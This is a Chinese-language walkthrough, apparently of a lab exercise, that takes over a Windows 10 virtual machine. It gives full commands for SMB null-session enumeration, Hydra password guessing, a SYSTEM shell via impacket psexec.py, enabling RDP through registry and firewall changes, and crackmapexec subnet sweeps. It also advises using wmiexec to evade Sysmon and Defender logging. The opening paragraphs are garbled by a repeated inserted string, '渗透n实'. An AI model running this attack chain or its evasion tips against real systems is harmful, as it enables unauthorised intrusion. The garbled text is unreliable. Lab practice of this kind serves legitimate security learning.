游客发表
打开 Kali 的渗透n实终端,先确认目标 Win10 的渗透n实 IP。我这次用的渗透n实虚拟机环境,Win10 地址是渗透n实 192.168.56.102。直接上 nmap 扫一遍常用端口,渗透n实别一上来就全端口扫,渗透n实太吵,渗透n实也慢。渗透n实
nmap -sV -T4 192.168.56.102 结果里 445 和 3389 开着。渗透n实445 是渗透n实 SMB,Win10 默认共享和远程管理都靠它。渗透n实3389 是渗透n实 RDP,远程桌面。渗透n实这两个端口放在一起,渗透n实基本就是渗透n实告诉你“来打我这里”。
先看 SMB 有没有弱口令或者空会话。用 smbclient 试一下匿名连接:
smbclient -L //192.168.56.102 -N 返回了共享列表,说明空会话没被禁用。这本身不算漏洞,但能拿到用户名、组、密码策略这些信息。接着用 enum4linux 拉一遍:
enum4linux -a 192.168.56.102 输出里有个用户名 test,密码策略显示最小长度 0。这意味着空密码或者极短密码可能直接过。我拿 hydra 对 SMB 跑了一小字典,只放了 123456、password、admin 和空密码。不到十秒,test:123456 就出来了。
拿到凭据后,用 psexec 或者 wmiexec 直接拿 shell。Kali 自带的 impacket 套件里 psexec.py 最省事:
psexec.py test:123456@192.168.56.102 回显了一个 nt authority\system 的 shell。到这里,Win10 已经算被拿下了。但我想看看能不能直接开 3389,方便图形化操作。在 meterpreter 里用 getgui 或者直接注册表改:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 然后放行防火墙:
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes 回到 Kali,rdesktop 192.168.56.102,用 test 账号登进去,桌面直接出来了。整个过程不到十五分钟。
这里有个细节值得说:Win10 默认的 SMB 签名和 SMBv1 状态会影响利用方式。我这次环境里 SMBv1 是关的,但空会话和弱口令照样能打。很多人以为打了补丁就没事,其实配置失误比漏洞更常见。比如这个 test 账号,密码策略形同虚设,本地管理员组还把它加进去了。
另外,psexec 会在目标机器上留一个服务,名字随机,但事件日志里能看到 7045 事件。如果对方开了 Windows Defender ATP 或者 Sysmon,这种动作很容易被抓。实战里更安静的做法是用 wmiexec.py,它不落服务,走 WMI 执行命令,流量也混在正常管理里。
最后提一句:Kali 里 crackmapexec 比 hydra 更适合批量试 SMB 口令,一条命令就能扫一个 C 段:
crackmapexec smb 192.168.56.0/24 -u test -p 123456 看到 Pwn3d! 就是本地管理员权限。这工具还能传文件、执行命令、 dump hash,比单独用 psexec 灵活得多。
整个流程没有用到 0day,全是配置问题加弱口令。Win10 本身不差,差的是装完就不管的人。
友情链接